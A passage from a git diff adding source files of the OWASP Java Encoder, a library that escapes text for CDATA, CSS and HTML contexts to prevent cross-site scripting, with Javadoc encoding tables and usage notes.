+ protected CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ final char[] in = input.array();
+ final char[] out = output.array();
+ int i = input.arrayOffset() + input.position();
+ final int n = input.arrayOffset() + input.limit();
+ int j = output.arrayOffset() + output.position();
+ final int m = output.arrayOffset() + output.limit();
+
+ for (; i < n; ++i) {
+ char ch = in[i];
+ if (ch <= Unicode.MAX_ASCII) {
+ if (ch != ']') {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ if (ch >= ' ' || ch == '\n' || ch == '\r' || ch == '\t') {
+ out[j++] = ch;
+ } else {
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ }
+ } else if (i + 1 < n) {
+ if (in[i + 1] != ']') {
+ // "]x" (next character is safe for this to be ']')
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ']';
+ } else {
+ // "]]?"
+ // keep looping through ']'
+ for (; i + 2 < n && in[i + 2] == ']'; ++i) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ']';
+ }
+ // at this point we've looped through a sequence
+ // of 2 or more "]", if the next character is ">"
+ // we need to encode "]]>".
+ if (i + 2 < n) {
+ if (in[i + 2] == '>') {
+ if (j + CDATA_END_ENCODED_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ System.arraycopy(CDATA_END_ENCODED, 0, out, j, CDATA_END_ENCODED_LENGTH);
+ j += CDATA_END_ENCODED_LENGTH;
+ i += 2;
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ']';
+ }
+ } else if (endOfInput) {
+ if (j + 2 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ']';
+ out[j++] = ']';
+ i = n;
+ break;
+ } else {
+ break;
+ }
+ }
+ } else if (endOfInput) {
+ // seen "]", then end of input.
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ']';
+ i++;
+ break;
+ } else {
+ break;
+ }
+ } else if (ch < Character.MIN_HIGH_SURROGATE) {
+ if (ch > Unicode.MAX_C1_CTRL_CHAR || ch == Unicode.NEL) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ } else {
+ // C1 control code
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ }
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ if (i + 1 < n) {
+ if (Character.isLowSurrogate(in[i + 1])) {
+ int cp = Character.toCodePoint(ch, in[i + 1]);
+ if (Unicode.isNonCharacter(cp)) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ ++i;
+ } else {
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ out[j++] = in[++i];
+ }
+ } else {
+ // high without low
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ }
+ } else if (endOfInput) {
+ // end of input, high without low = invalid
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ } else {
+ break;
+ }
+ } else if (// low surrogate without preceding high surrogate
+ ch <= Character.MAX_LOW_SURROGATE
+ // or non-characters
+ || ch > '\ufffd'
+ || ('\ufdd0' <= ch && ch <= '\ufdef'))
+ {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = XMLEncoder.INVALID_CHARACTER_REPLACEMENT;
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ }
+ }
+ return underflow(input, i, output, j);
+ }
+
+ @Override
+ public String toString() {
+ return "CDATAEncoder";
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/CSSEncoder.java b/core/src/main/java/org/owasp/encoder/CSSEncoder.java
new file mode 100644
index 0000000..2f597b5
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/CSSEncoder.java
@@ -0,0 +1,303 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * CSSEncoder -- Encoder for Cascading-Style-Sheet string and URI contexts.
+ * Other contexts, such as color, number (w/unit), etc... are not good targets
+ * for "encoding" (e.g. you cannot encode the string "XYZ" into a number),
+ * they should instead by validated through other means (such as regular
+ * expressions).
+ */
+class CSSEncoder extends Encoder {
+
+ /** Number of bits in a {@code long}. */
+ static final int LONG_BITS = 64;
+
+ /** Length of hex encoding with trailing space {@code "\## "}. */
+ static final int HEX_ENCODED_LENGTH = 4;
+
+ /**
+ * Encoding mode of operation--specified the set of characters that
+ * required encoding.
+ */
+ enum Mode {
+ /**
+ * String contexts. Characters between quotes.
+ *
+ * <pre>
+ * Not allowed: \n \r \f \\ " ' (everything else is allowed)
+ * Allows: "\\{nl}" (escaped newline)
+ * </pre>
+ */
+ STRING(new ASCIIBits().set(' ', '~').clear("\"\'<&/\\>")),
+
+ /**
+ * URL context. Characters inside a "url(...)".
+ *
+ * <pre>
+ * Allowed: [!#$%&*-\[\]-~]|{nonascii}|{escape}
+ * Escapes: \\[0-9a-f]{1,6}(\s?)
+ * \\[^\n\r\f0-9a-f]
+ * </pre>
+ */
+ URL(new ASCIIBits().set("!#$%").set('*', '[').set(']', '~').clear("/<>")),
+
+ // In both contexts above '<' is added to protect embedded <style> contexts.
+
+ // Identifier:
+ // First character must be nmstart (no [0-9-])
+ // Subsequent characters are nmchar (w/ [0-9-])
+ // nmchar = [_a-z0-9-]|{nonascii}|{escape}
+
+ // Hash/Name:
+ // all nmchar
+
+ ;
+
+ /** Low bit-mask of unescaped characters. (Characters 0 to 63) */
+ private final long _lowMask;
+ /** High bit-mask of unescaped characters. (Characters 64 to 127) */
+ private final long _highMask;
+
+ /**
+ * Creates a mode with the specified low and high bit-masks.
+ *
+ * @param bits the bit-masks of valid characters.
+ */
+ Mode(ASCIIBits bits) {
+ _lowMask = bits._lowerMask;
+ _highMask = bits._upperMask;
+ }
+
+ /**
+ * Accessor for _lowMask.
+ * @return _lowMask.
+ */
+ long lowMask() { return _lowMask; }
+
+ /**
+ * Accessor for _highMask.
+ * @return _highMask.
+ */
+ long highMask() { return _highMask; }
+ }
+
+ /**
+ * Character used when an invalid characters is found. Invalid
+ * characters may not appear with or without encoding.
+ */
+ static final char INVALID_REPLACEMENT_CHARACTER = '_';
+
+ /** The bit-mask of unescaped characters in the range 0 to 63. */
+ final long _lowMask;
+ /** The bit-mask of unescaped characters in the range 64 to 127. */
+ final long _highMask;
+ /** The mode of operation, used primarily for toString. */
+ final Mode _mode;
+
+ /**
+ * Creates an encoder for the specified mode of operation.
+ *
+ * @param mode the mode of the encoder.
+ */
+ CSSEncoder(Mode mode) {
+ _mode = mode;
+ _lowMask = mode.lowMask();
+ _highMask = mode.highMask();
+ }
+
+ @Override
+ protected int maxEncodedLength(int n) {
+ return HEX_ENCODED_LENGTH * n;
+ }
+
+ @Override
+ protected int firstEncodedOffset(String input, int off, int len) {
+ final int n = off + len;
+ for (int i = off ; i<n ; ++i) {
+ char ch = input.charAt(i);
+ if (ch < 2*LONG_BITS) {
+ if ((ch < LONG_BITS ? _lowMask & (1L << ch) : _highMask & (1L << (ch - LONG_BITS))) != 0) {
+ continue;
+ }
+ } else if (ch > '\237' && ch < Unicode.LINE_SEPARATOR || ch > Unicode.PARAGRAPH_SEPARATOR) {
+ // "nonascii"
+ if (ch < Character.MIN_HIGH_SURROGATE || ch > Character.MAX_LOW_SURROGATE) {
+ // valid
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ if (i+1 < n) {
+ if (Character.isLowSurrogate(input.charAt(i+1))) {
+ // valid
+ ++i;
+ } else {
+ return i;
+ }
+ } else {
+ return i;
+ }
+ } else {
+ // invalid
+ return i;
+ }
+ continue;
+ }
+ return i;
+ }
+ return n;
+ }
+
+ @Override
+ protected CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ final char[] in = input.array();
+ final char[] out = output.array();
+ int i = input.arrayOffset() + input.position();
+ final int n = input.arrayOffset() + input.limit();
+ int j = output.arrayOffset() + output.position();
+ final int m = output.arrayOffset() + output.limit();
+
+ for ( ; i<n ; ++i) {
+ char ch = in[i];
+ if (ch < 2*LONG_BITS) {
+ if ((ch < LONG_BITS ? _lowMask & (1L << ch) : _highMask & (1L << (ch - LONG_BITS))) != 0) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ continue;
+ }
+ } else if (ch > '\237' && ch < Unicode.LINE_SEPARATOR || ch > Unicode.PARAGRAPH_SEPARATOR) {
+ // "nonascii"
+ if (ch < Character.MIN_HIGH_SURROGATE || ch > Character.MAX_LOW_SURROGATE) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ if (i+1 < n) {
+ if (Character.isLowSurrogate(in[i+1])) {
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ out[j++] = in[++i];
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_REPLACEMENT_CHARACTER;
+ }
+ } else if (endOfInput) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_REPLACEMENT_CHARACTER;
+ } else {
+ break; // UNDERFLOW
+ }
+ } else {
+ // invalid
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = INVALID_REPLACEMENT_CHARACTER;
+ }
+ continue;
+ }
+
+ // if here, we need to hex escape the character
+
+ // calculate k, the value of j after encoding the character
+ int k = j + 1; // +1 for '\\'
+ int tmp = ch;
+ do {
+ tmp >>>= HEX_SHIFT;
+ k++;
+ } while (tmp != 0);
+
+ // need to look ahead one character to see if we need to
+ // introduce a whitespace after the escape to prevent
+ // the escape from merging with the following character
+ boolean needsSpace = false;
+ if (i+1 < n) {
+ char la = in[i + 1];
+ if ('0' <= la && la <= '9'
+ || 'a' <= la && la <= 'f'
+ || 'A' <= la && la <= 'F'
+ || la == ' '
+ || la == '\n'
+ || la == '\r'
+ || la == '\t'
+ || la == '\f')
+ {
+ needsSpace = true;
+ k++;
+ }
+ } else if (!endOfInput) {
+ // CoderResult.UNDERFLOW;
+ break;
+ }
+
+ // check for overflow before writing anything
+ if (k > m) {
+ return overflow(input, i, output, j);
+ }
+
+ out[j] = '\\';
+ j = k;
+ // write the escape backwards from the end.
+ if (needsSpace) {
+ out[--k] = ' ';
+ }
+ tmp = ch;
+ do {
+ out[--k] = HEX[tmp & HEX_MASK];
+ tmp >>>= HEX_SHIFT;
+ } while (tmp != 0);
+
+ assert out[k-1] == '\\';
+ }
+
+ return underflow(input, i, output, j);
+ }
+
+ @Override
+ public String toString() {
+ return "CSSEncoder(mode="+_mode+")";
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/ChainedEncoder.java b/core/src/main/java/org/owasp/encoder/ChainedEncoder.java
new file mode 100644
index 0000000..c28ae40
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/ChainedEncoder.java
@@ -0,0 +1,164 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * ChainedEncoder -- An encoder that chains together two encoders in
+ * order. This is included as an example, but not actually exposed or
+ * used as it requires an internal buffer making it not thread-safe.
+ * Sequences of 3 or more encodings require chaining together chained
+ * encoders.
+ *
+ * @author Jeff Ichnowski
+ */
+class ChainedEncoder extends Encoder {
+ /** The first encoder to apply in sequence. */
+ final Encoder _first;
+ /** The second encoder to apply in sequence. */
+ final Encoder _last;
+
+ /**
+ * The buffer used to store the output of the first encoder before
+ * sending as input to the second encoder.
+ */
+ // TODO: because of this buffer, the ChainedEncoder is the only stateful
+ // encoder. This needs to be removed somehow, or state control APIs need
+ // to be added (E.g. reset/flush)
+ final CharBuffer _buffer = CharBuffer.allocate(1024);
+
+ /**
+ * Creates an ChainedEncoder that applies the encoding sequence
+ * {@code input --> first --> last --> output}.
+ *
+ * @param first the first encoder to apply
+ * @param last the second/last encoder to apply.
+ */
+ ChainedEncoder(Encoder first, Encoder last) {
+ _first = first;
+ _last = last;
+ }
+
+ /**
+ * Encodes an input string to an output string.
+ *
+ * @param str the string to encode
+ * @return the encoded string.
+ */
+ public String encode(String str) {
+ if (str == null) {
+ str = "null";
+ }
+
+ int n = str.length();
+ int j = _first.firstEncodedOffset(str, 0, n);
+ if (j == n) {
+ // string is unchanged after encoding with the first encoder
+ return Encode.encode(_last, str);
+ }
+
+ final int remaining = n - j;
+ final int m = j + _first.maxEncodedLength(n);
+ CharBuffer input = CharBuffer.allocate(m);
+ str.getChars(0, j, input.array(), 0);
+ str.getChars(j, n, input.array(), m - remaining);
+
+ input.limit(m).position(m - remaining);
+ CharBuffer tmp = input.duplicate();
+ tmp.position(j);
+
+ CoderResult cr = _first.encode(input, tmp, true);
+ assert cr.isUnderflow() : "maxEncodedLength was incorrect";
+
+ CharBuffer output = CharBuffer.allocate(_last.maxEncodedLength(tmp.position()));
+ tmp.flip();
+
+ cr = _last.encode(tmp, output, true);
+ assert cr.isUnderflow() : "maxEncodedLength was incorrect";
+
+ return new String(output.array(), 0, output.position());
+ }
+
+ @Override
+ protected int firstEncodedOffset(String input, int off, int len) {
+ int i = _first.firstEncodedOffset(input, off, len);
+ return _last.firstEncodedOffset(input, off, i - off);
+ }
+
+ @Override
+ protected int maxEncodedLength(int n) {
+ return _last.maxEncodedLength(
+ _first.maxEncodedLength(n));
+ }
+
+// @Override
+// protected int encode(char[] input, int off, int len, char[] buffer, int j, boolean endOfInput) {
+// char[] tmp = new char[_first.maxEncodedLength(len)];
+// int i = _first.encode(input, off, len, tmp, 0, endOfInput);
+// return _last.encode(tmp, 0, i, buffer, j, endOfInput);
+// }
+
+ @Override
+ public CoderResult encode(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ for (;;) {
+ CoderResult cr1 = _first.encode(input, _buffer, endOfInput);
+ _buffer.flip();
+ CoderResult cr2 = _last.encode(_buffer, output, endOfInput && cr1.isUnderflow());
+ _buffer.compact();
+
+ if (cr2.isOverflow()) {
+ // no more room in output, even if we still have buffered input.
+ return cr2;
+ }
+
+ if (cr1.isUnderflow()) {
+ // we've consumed everything from input
+ return cr2;
+ }
+ }
+ }
+
+ @Override
+ protected CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ return encode(input, output, endOfInput); // TODO: invert.
+ }
+
+ @Override
+ public String toString() {
+ return "["+_first+","+_last+"]";
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/Encode.java b/core/src/main/java/org/owasp/encoder/Encode.java
new file mode 100644
index 0000000..165635c
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/Encode.java
@@ -0,0 +1,1430 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import java.io.IOException;
+import java.io.Writer;
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * Encode -- fluent interface for contextual encoding. Example usage in a JSP:
+ *
+ * <pre>
+ * &lt;input value="&lt;%=Encode.forHtml(value)%&gt;" /&gt;
+ * </pre>
+ *
+ * <p>There are two versions of each contextual encoding method. The first
+ * takes a {@code String} argument and returns the encoded version as a
+ * {@code String}. The second version writes the encoded version directly
+ * to a {@code Writer}.</p>
+ *
+ * <p>Please make sure to read and understand the context that the method encodes
+ * for. Encoding for the incorrect context will likely lead to exposing a
+ * cross-site scripting vulnerability. Those new to XSS mitigation may find it
+ * useful to read the
+ * <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">
+ * Cross Site Scripting Prevention Cheat Sheet</a> that is part of the OWASP Cheat Sheet series for background
+ * material.
+ * </p>
+ *
+ * @author Jeff Ichnowski
+ */
+public final class Encode {
+ /** No instances. */
+ private Encode() {}
+
+ /**
+ * <p>Encodes for (X)HTML text content and text attributes. Since
+ * this method encodes for both contexts, it may be slightly less
+ * efficient to use this method over the methods targeted towards
+ * the specific contexts ({@link #forHtmlAttribute(String)} and
+ * {@link #forHtmlContent(String)}). In general this method should
+ * be preferred unless you are really concerned with saving a few
+ * bytes or are writing a framework that utilizes this
+ * package.</p>
+ *
+ * <b>Example JSP Usage</b>
+ * <pre>
+ * &lt;div&gt;&lt;%=Encode.forHtml(unsafeData)%&gt;&lt;/div&gt;
+ *
+ * &lt;input value="&lt;%=Encode.forHtml(unsafeData)%&gt;" /&gt;
+ * </pre>
+ *
+ * <table border="0" class="memberSummary" summary="Shows the input and results of encoding">
+ * <caption><b>Encoding&nbsp;Table</b></caption>
+ * <thead>
+ * <tr>
+ * <th align="left" class="colFirst">Input</th>
+ * <th align="left" class="colLast">Result</th>
+ * </tr>
+ * </thead>
+ * <tbody>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code &}</td>
+ * <td class="colLast">{@code &amp;}</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code <}</td>
+ * <td class="colLast">{@code &lt;}</td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code >}</td>
+ * <td class="colLast">{@code &gt;}</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code "}</td>
+ * <td class="colLast">{@code &#34;}</td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code '}</td>
+ * <td class="colLast">{@code &#39;}</td>
+ * </tr>
+ * </tbody>
+ * </table>
+ *
+ * <p><b>Additional Notes</b></p>
+ * <ul>
+ * <li>The encoding of the greater-than sign ({@code >}) is not
+ * strictly required, but is included for maximum
+ * compatibility.</li>
+ *
+ * <li>Numeric encoding is used for double-quote character ({@code
+ * "}) as it shorter than the also valid {@code &quot;}.</li>
+ *
+ * <li>Carriage return (U+0D), line-feed (U+0A), horizontal tab
+ * (U+09) and space (U+20) are valid in quoted attributes and in
+ * block in an unescaped form.</li>
+ *
+ * <li>Surrogate pairs are passed through only if valid.</li>
+ *
+ * <li>Characters that are not <a
+ * href="http://www.w3.org/TR/REC-xml/#charsets">valid according
+ * to the XML specification</a> are replaced by a space character
+ * as they could lead to parsing errors. In particular only {@code #x9
+ * | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] |
+ * [#x10000-#x10FFFF]} are considered valid.</li>
+ * </ul>
+ *
+ * @param input the data to encode
+ * @return the data encoded for html.
+ */
+ public static String forHtml(String input) {
+ return forXml(input);
+ }
+
+ /**
+ * See {@link #forHtml(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forHtml(Writer out, String input) throws IOException {
+ forXml(out, input);
+ }
+
+ /**
+ * <p>This method encodes for HTML text content. It does not escape
+ * quotation characters and is thus unsafe for use with
+ * HTML attributes. Use either {@link #forHtml(String)} or {@link #forHtmlAttribute(String)} for those
+ * methods.</p>
+ *
+ * <b>Example JSP Usage</b>
+ * <pre>
+ * &lt;div&gt;&lt;%=Encode.forHtmlContent(unsafeData)%&gt;&lt;/div&gt;
+ * </pre>
+ * <table border="0" class="memberSummary" summary="Shows the input and results of encoding">
+ * <caption><b>Encoding Table</b></caption>
+ * <thead>
+ * <tr>
+ * <th align="left" class="colFirst">Input</th>
+ * <th align="left" class="colLast">Result</th>
+ * </tr>
+ * </thead>
+ * <tbody>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code &}</td>
+ * <td class="colLast">{@code &amp;}</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code <}</td>
+ * <td class="colLast">{@code &lt;}</td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code >}</td>
+ * <td class="colLast">{@code &gt;}</td>
+ * </tr>
+ * </tbody>
+ * </table>
+ *
+ * <p><b>Additional Notes</b></p>
+ * <ul>
+ * <li>Single-quote character ({@code '}) and double-quote
+ * character ({@code "}) do not require encoding in HTML
+ * blocks, unlike other HTML contexts.</li>
+ *
+ * <li>The encoding of the greater-than sign ({@code >}) is not
+ * strictly required, but is included for maximum
+ * compatibility.</li>
+ *
+ * <li>Carriage return (U+0D), line-feed (U+0A), horizontal tab
+ * (U+09) and space (U+20) are valid in quoted attributes and in
+ * block in an unescaped form.</li>
+ *
+ * <li>Surrogate pairs are passed through only if valid.</li>
+ *
+ * <li>Characters that are not <a
+ * href="http://www.w3.org/TR/REC-xml/#charsets">valid according
+ * to the XML specification</a> are replaced by a space character
+ * as they could lead to parsing errors. In particular only {@code #x9
+ * | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] |
+ * [#x10000-#x10FFFF]} are considered valid.</li>
+ * </ul>
+ *
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forHtmlContent(String input) {
+ return forXmlContent(input);
+ }
+
+ /**
+ * See {@link #forHtmlContent(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forHtmlContent(Writer out, String input)
+ throws IOException
+ {
+ forXmlContent(out, input);
+ }
+
+ /**
+ * <p>This method encodes for HTML text attributes. Do not use for JavaScript event attributes or for attributes
+ * that are interpreted as a URL. Instead use {@link #forJavaScript(String)} and {@link #forUriComponent(String)}
+ * respectively for those.</p>
+ *
+ * <b>Example JSP Usage</b>
+ * <pre>
+ * &lt;div&gt;&lt;%=Encode.forHtmlAttribute(unsafeData)%&gt;&lt;/div&gt;
+ * </pre>
+ *
+ * <table border="0" class="memberSummary" summary="Shows the input and results of encoding">
+ * <caption><b>Encoding Table</b></caption>
+ * <thead>
+ * <tr>
+ * <th align="left" class="colFirst">Input</th>
+ * <th align="left" class="colLast">Result</th>
+ * </tr>
+ * </thead>
+ * <tbody>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code &}</td>
+ * <td class="colLast">{@code &amp;}</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code <}</td>
+ * <td class="colLast">{@code &lt;}</td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code "}</td>
+ * <td class="colLast">{@code &#34;}</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code '}</td>
+ * <td class="colLast">{@code &#39;}</td>
+ * </tr>
+ * </tbody>
+ * </table>
+ *
+ * <p><b>Additional Notes</b></p>
+ * <ul>
+ * <li>Both the single-quote character ({@code '}) and the
+ * double-quote character ({@code "}) are encoded so this is safe
+ * for HTML attributes with either enclosing character.</li>
+ *
+ * <li>The encoding of the greater-than sign ({@code >}) is not
+ * required for attributes.</li>
+ *
+ * <li>Numeric encoding is used for double-quote character ({@code
+ * "}) as it shorter than the also valid {@code &quot;}.</li>
+ *
+ * <li>Carriage return (U+0D), line-feed (U+0A), horizontal tab
+ * (U+09) and space (U+20) are valid in quoted attributes and in
+ * block in an unescaped form.</li>
+ *
+ * <li>Surrogate pairs are passed through only if valid.</li>
+ *
+ * <li>Characters that are not <a
+ * href="http://www.w3.org/TR/REC-xml/#charsets">valid according
+ * to the XML specification</a> are replaced by a space character
+ * as they could lead to parsing errors. In particular only {@code #x9
+ * | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] |
+ * [#x10000-#x10FFFF]} are considered valid.</li>
+ * </ul>
+ *
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forHtmlAttribute(String input) {
+ return forXmlAttribute(input);
+ }
+
+ /**
+ * See {@link #forHtmlAttribute(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forHtmlAttribute(Writer out, String input)
+ throws IOException
+ {
+ forXmlAttribute(out, input);
+ }
+
+
+ /**
+ * <p>Encodes for unquoted HTML attribute values. {@link
+ * #forHtml(String)} or {@link #forHtmlAttribute(String)} should
+ * usually be preferred over this method as quoted attributes are
+ * XHTML compliant.</p>
+ *
+ * <p>When using this method, the caller is not required to
+ * provide quotes around the attribute (since it is encoded for
+ * such context). The caller should make sure that the attribute
+ * value does not abut unsafe characters--and thus should usually
+ * err on the side of including a space character after the
+ * value.</p>
+ *
+ * <p>Use of this method is discouraged as quoted attributes are
+ * generally more compatible and safer. Also note, that no
+ * attempt has been made to optimize this encoding, though it is
+ * still probably faster than other encoding libraries.</p>
+ *
+ * <b>Example JSP Usage</b>
+ * <pre>
